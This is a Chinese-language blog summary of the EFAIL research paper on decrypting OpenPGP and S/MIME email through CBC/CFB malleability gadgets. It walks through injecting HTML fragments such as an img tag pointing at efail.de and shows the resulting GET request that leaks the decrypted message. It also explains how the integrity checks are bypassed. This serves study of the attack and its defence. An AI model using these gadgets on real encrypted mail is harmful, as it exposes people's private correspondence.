文章目录
作者介绍
Damian Poddebniak 德国明斯特应用技术大学研究生,从他发表的论文来看,研究领域应该是Web安全,重点是Email安全方面。
具体论文发表参见 Research Gate。
引言
OpenPGP 和 S/MIME 是电子邮件端到端加密的两个主要标准。这篇论文给出了一种新型的攻击,它可以暴露通过OpenPGP和S/MIME方式加密的电子邮件的明文。这种攻击基于一种被作者称为malleability gadgets的工具,这个工具包含两类:CBC gadget 和CFB gadget。这个工具可以将恶意的明文片段插入到加密的电子邮件中去。在一些内嵌HTML/CSS/X.509功能的电子邮件中,攻击会在邮件被解密的时候触发。
背景知识
Backchannel
这里backchannel 指的是可以和网络进行交互的任何通道。比如可以一个让电子邮件客户端调用的一个外部的URL,像<img src="http://efail.de">
。很多 backchannel 可以用来传出用户的一些隐私信息,比如通过这些外部引用被访问的时间可以判断用户是否打开了一封电子邮件以及打开的时间等等。
S/MIME (Secure/Multipurpose Internet Mail Extension)
S/MIME 是MIME协议的扩展,它用来安全地发送和接受MIME数据。S/MIME依赖于CMS (Cryptographic Message Syntax) 来对消息进行签名、验证和加密。S/MIME中对称加密使用CBC模式。
OpenPGP (Pretty Good Privacy)
首版的PGP由 Phil Zimmerman 在1991年提出,最初是为了让政客们在BBS上安全地进行交流。在20世纪90年代后期,IETF发布了RFC 2400,其中描述了OpenPGP的具体格式。最新的标准是2007年发布的RFC 4880,其中描述了许多加密和签名数据的方法。OpenPGP中对称加密使用CFB模式。
CBC/CFB
CBC/CFB是分组加密的两种模式。分组加密将明文分成多个等长的块,然后分别对每一个块分别进行加密。它被用于保护电子邮件内容的机密性。S/MIME中使用CBC模式,OpenPGP中使用CFB模式。
下面我们分别介绍两种分组加密的模式。使用符号:
- $x$: 明文
- $x_i$: 明文的第$i$个分块
- e: 对称加密方式
- $e^{-1}$: 加密的逆操作,解密
- $k$: 密钥
- $e_k$: 使用密钥$k$进行加密
- $y_i$: 明文$x_i$对应的密文
- $IV$: initial vector, 一个初始化的随机向量
- $\bigoplus$: 异或
CBC 密码分组链接模式
CBC 加密方式为:$y_i = e_k(x_i \bigoplus y_{i-1}), y_0 = IV$
可以用图示表示如下:
CBC 分组加密:使用明文分组与前一分组的密文异或得到当前分组的密文。
CFB 密码反馈模式
CFB 加密方式为:$y_i = e_k(y_{i-1}) \bigoplus x_i, y_0 = IV$
可用图示表示如下:
CFB模式将前一分组的密文加密之后与当前分组的明文异或以得到当前分组的密文。
分组加密只能保证数据的机密性,但无法保证数据的完整性。较新的加密方案会检测对于密文的修改。通常,这是通过消息身份验证码(MAC)或者身份验证加密(AE)来实现的。但是S/MIME和PGP的出现都早于这些验证技术,所以它们要么不使用这些技术(S/MIME),要么不完全满足AE的要求而导致它更容易被滥用(PGP)。
正文
攻击模型
论文中的攻击模型假定攻击者可以得到用户发送的经过加密之后的邮件。攻击者在得到加密之后的邮件数据之后,可以通过某种方式修改邮件内容,将其修改成包含攻击代码的攻击邮件,然后将其发送给可能的接受者。
利用CBC/CFB模式进行攻击
本小结展展示如果利用CBC和CFB的加密方式来将我们需要的攻击数据插入到用户加密之后的数据中去。下面展示如何修改用户电子邮件的内容。
CBC模式的解密方式为:$x_i = e^{-1}(y_i) \bigoplus y_{i-1}$如下:
根据异或运算的性质,我们可知:
- $x \bigoplus x = 0$
- $x \bigoplus 0 = x$
现在我们需要将上图中的 $x_{i}$替换为$x_c$,我们有:
此时我们只需要将$y_{i-1}$替换为$x_i \bigoplus y_{i-1} \bigoplus x_c$,那么我们在密文解密之后,那么分组 $x_i$替换为$x_c$。这种修改带来的一个副作用就是解密之后的$i-1$个分组变为乱码。
一个具体示例如下,在下例中我们将$x_{i+1}$替换为了$x_c$。
由于在攻击模型中,我们只能获取密文也就是$y_i$,那么如果需要攻击成功,就需要知道一个密文$y_i$对应的明文$x_i$,从密码学角度来说,目前还没有好的方案在可行的时间内破解当前较新的加密方案。所以用户必须知道密文对应的明文。由于电子邮件的格式是有迹可循的,比如S/MIME数据通常开头以Content-type: multipart/signed开头,所以第一个块的密文对应的明文是已知的,默认块大小为(16字节)。
对于CBC模式加密后的密文,如果我们交换一段密文与另一段密文的顺序,那么一段之内的密文解密之后的密文并不会改变(除了在段的边缘处),图示如下:
在边缘处的$y_5$分组和$y_0$分组的解密由于其之前的分组已经改变,因此解密出的数据会变得不确定,变为乱码。
攻击S/MIME
S/MIME 提供两种服务:1. 签名 2. 加密。这两种服务可以组合使用:签名然后加密。签名服务用于保证数据的完整性,加密服务用于保证数据的机密性。
大家可能会想改变密文的内容会导致签名验证失败,但实际情况是:
- S/MIME中的签名可以很容易地被从电子邮件中移除。虽然一个谨慎的用户可能发现他的邮件未经过签名,但是此时邮件已经被解密,并且展示给了用户。
- 签名并不是强制的,因为签名会导致匿名通信失效。
- 无效的签名并不会导致邮件被邮箱客户端锁禁止。这个是由一些历史原因造成的。
下面举例说明攻击过程,假设用户A有一段信息需要发送给用户B,由于信息很重要,因此用户A使用S/MIME进行加密,消息内容为:
Dear Sir or Madam, the secret meeting will be hold at 10 p.m., the password is ABCDEFG. Please attend on time.
未加密的邮件正文为:
Content-type: text/html\nDear Sir or Madam, the secret meeting will be hold, the password is ABCDEFG. Please attend on time.
字符串总长度为110,由于需要进行分组加密,因此字符串长度需要为16(默认分组大小)的倍数,这里我们随意填充一些字符比如0 。填充后用utf-8编码得到字符串:
message = b'Content-type: text/html\nDear Sir or Madam, the secret meeting will be hold at 10 p.m., the password is ABCDEFG. Please attend on time.\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
由上文介绍可知,我们只需要知道一个块的明文以及其对应的密文,就可以构造出一个任意想要的字符串块。在S/MIME加密的邮件中,一般邮件的开头可以猜测到。因此我们可以构建出无数个 $乱码块 + 任意明文块$。
设第一个块明文为$P_0$ ,它对应的密文为$C_0$,初始向量为$IV$,我们有
因此,任意一个块的明文$P_c$可以用过两个块来构建,如下图所示:
现在将字符串分组得到:
分组
--------------------
0: b'Content-type: te'
1: b'xt/html\nDear Sir'
2: b' or Madam, the s'
3: b'ecret meeting wi'
4: b'll be hold at 10'
5: b' p.m., the passw'
6: b'ord is ABCDEFG. '
7: b'Please attend on'
8: b' time.'
--------------------
使用上面描述的方法,我们分别构建字符串
m1 = b'<base ignore="'
m2 = b'" href="http:">'
m3 = b'<img ignore="'
m4 = b'" src="efail.de/'
m5 = b'"> '
每个要插入的16字节的明文都需要构建一个$16+16=32$字节的密文段,将5个密文段,也就是$5*32=160$字节插入原来密文头部。由于我们需要将用户邮件内容包含在img的href中发送给攻击者的服务器,因此,我们需要将m5对应的32字节密文段放到原始密文的结尾处。(注意:不能直接添加到结尾,直接添加到结尾会遇到padding解码错误,可以添加到倒数第二个分组前面)。
用此方法,插入攻击字符串后,解密后可以得到:
插入攻击数据后,解密之后的数据
--------------------
0: b'\xcc/\xe1G\x12\x85\xda\xfc\xea\x05v:I@\xbd\xe0'
1: b'<base ignore="'
2: b';\xb7\xe7l\x90<\x00\xf9BW\x95\xc4\xb5\xb7\xaa\xea'
3: b'" href="http:">'
4: b'\xc6\x0f\x90W r\xa0l\x9c^a:_[>\xc1'
5: b'<img ignore="'
6: b'D\xd0\x90/)\x06\x17\xb2\xec\x9f\xb1\x85*\xe7\xec8'
7: b'" src="efail.de/'
8: b'xt/html\nDear Sir'
9: b' or Madam, the s'
10: b'ecret meeting wi'
11: b'll be hold at 10'
12: b' p.m., the passw'
13: b'ord is ABCDEFG. '
14: b'2^]\x0cC\xd1\x95\xd4\xd6\x12V\xe7\xc0,\xc4\xde'
15: b'"> '
16: b'k|6\xe42FL\xdf\xb8g\x15c\xd0\xe8;\xbc'
17: b' time.'
--------------------
上述解密后的数据中,包含了两个html Tag,一个base Tag, 一个img Tag。base Tag有一个href属性,指明下面img的URL省略http://协议。img Tag中的src属性中包含了邮件中解密之后的机密数据,该imgTag会由邮件客户端解析并将其当作图片的URL向 ifail.de网站发送一个GET请求:
GET:efail.de/xt/html%0ADear%20Sir%20or%20Madam%2C%20the%20secret%20meeting%20will%20be%20hold%20at%2010%20p.m.%2C%20the%20password%20is%20ABCDEFG.%202%5E%5D%0CC%D1%95%D4%D6%12V%E7%C0%2C%C4%DE
HOST:efail.de
攻击者的服务器efail.de收到这个请求后就可以获得机密数据了。
攻击OpenPGP
OpenPGP中使用了CFB加密模式,同样存在着之前描述的问题。但OpenPGP有两个额外的问题需要解决:1. OpenPGP使用了数据压缩;2. OpenPGP使用了修改检测码(MDC)用于完整性保护。
PGP的邮件中也使用了类似Content-Type: multipart/mixed 这样的头部信息,但是经过压缩之后,这些信息变得无法猜测。
OpenPGP中使用了MDC保护数据的完整性,但是有几个方法可以绕过这个验证。
我们首先看下OpenPGP的数据包的格式。OpenPGP的数据包包含三个部分: 标签、长度、数据主体三部分。论文中涉及的标签类型如下表所示:
标签号 | 数据包类型 |
---|---|
8 | CD: 压缩数据包 |
9 | SE: 对称加密数据包 |
11 | LD: 文本数据 |
18 | SEIP: 对称加密&完整性保护包 |
19 | MDC: 修改检测码包 |
60~63 | 实验包(被客户端忽略) |
OpenPGP消息加密经过下面四个步骤:
- 消息文本被包含在一个LD包中
- 使用deflate压缩算法对LD包进行压缩,并将压缩后的数据使用CD包进行包装
- 对CD包进行MDC计算(SHA-1),将得到的值放进MDC包中,并附加到CD包后面
- 将被连接到一起的CD包和MDC包一起进行加密,加密后的数据使用SEIP包进行封装
SEIP包的格式图示(截取自论文本体)如下:
如何绕过OpenPGP的完整性保护机制
- 用户可能未使用SEIP包,只使用了SE包
- MDC包即使验证不通过,客户端也有可能忽略这个错误
- 攻击者可以直接将SEIP包的最后22字节移除,这样就直接删除了MDC包
- 攻击者很容易将SEIP包转换成SE包,因为包类型是不加密的
如何利用压缩机制
OpenPGP使用deflate算法对数据包进行加密,这个算法基于LZ77和哈夫曼编码。压缩算法的细节对于理解本文不影响。
压缩标准定义了三类压缩形式:
- 不压缩
- 使用固定哈夫曼树进行压缩
- 使a用动态哈夫曼树进行压缩
一个OpenPGP的CD包中可以包含多个压缩和未压缩的片段。
前向引用: 通常,一整段信息会被放到一个压缩段中,然后算法会在一个滑动窗口内去搜索文本片段,如果出现了重复的片段,那么它会被使用一个很短的指针指向之前的那个文本片段的位置。举例来说,现在我们有一段文本:
How much wood could a woodchuck chuck
那么,经过前向引用操作,就变成了:
How much wood could a <-13, 4>chuck <-6, 5>
<-13, 4> 表示用向前13个字符的位置开始的4个字符,替换现在指针所在位置的值。
攻击方案
假定我们收到了一段OpenPGP加密的邮件数据包,并且我们知道一个密文块解密之后的明文,这样我们就可以构建出任意的我们想要的明文块。我们的目标是构建一个数据包,这个数据包解密之后得到的压缩数据包,在解压后可以像我们之前的例子一样泄漏用户邮件的明文数据。下面我们讲解下攻击过程基本原理:
- 使用我们之前的方法(OpenPGP中使用CFB方式进行加密,构造任意明文的方法与CBC类似)构建四个加密块$(C_0, C_1), (C_2, C_3), (C_4, C_5), (C_6, C_7)$,他们解压后可以得到三个我们想要的明文$P_{c0}, P_{c1}, P_{c2}, P_{c3}$。
- $P_{c0}$中编码了一个包含LD包的CD包的头部
- $P_{c1}/P_{c2}$中包含了我们需要的明文片段分别为:
- <img
- src="efail.de/"
- $P_{c3}$中包含了四个个前向引用,分别引用:
- B1: 引用$P_{c0}$
- B2: 引用$P_{c1}$
- B3: 引用$P_{c2}$
- B4: 用原来邮件中压缩后的数据
- 设$P_{c0} \backsim P_{c3}$对应的密文片段为$C_0 \backsim C_8$,原始数据包中的密文我们用$CO$表示,那么我们修改后的密文为 $C_0, C_1, C_2, C_3, C_4, C_5, C_6, CO, C_7, C_8$。那么解密后我们可以得到: |压缩包头| $P_{c0}$ | $P_{c1}$ | $ P_{c2}$ | 原始数据压缩包 | 前向引用|, 解压缩后可以得到:
<img src="efail.de/《邮件明文内容》" ......
,这样邮件的内容就可以被攻击者得到
攻击示意图图下:
实际攻击情况
在实际使用中,可以通过对我们要插入的攻击数据片段的精心设计,可以将所需知道的密文长度缩小到11个字节,而无需知道16字节的一个完整分组大小。论文中模拟生成了facebook的密码重置邮件,研究了邮件的前11字节的内容,其中出现频率最高的字节串大约占了整个研究样本的31%。出现率最高的前4个串占了整个样本的比例已经超过了50%。这意味着向被攻击者发送四封邮件就可以攻击超过50%的facebook邮箱用户。
其他攻击方式
论文中还提到一种更简单的攻击方式。一些邮件客户端并不分离邮件MIME各个部分,而是在同一个HTML中显示。这样攻击者只需要重新构建一封邮件,将用户的密文内容包含在标签中,然后发送给用户,这样邮箱客户端在接收到邮件后,先将邮件中需要解密的部分解密,然后将MIME各个部分的内容凭借在一起。此时,邮件正文内容就可以作为img标签的URL请求发送给攻击者的服务器了,示意图如下(摘自论文中)
结束语
论文中还提到了现有邮箱存在的一些Backchannel以及此类攻击的缓解方案,感兴趣的同学可以查看原论文。
引用
[1] 论文链接:https://www.usenix.org/system/files/conference/usenixsecurity18/sec18-poddebniak.pdf
更多推荐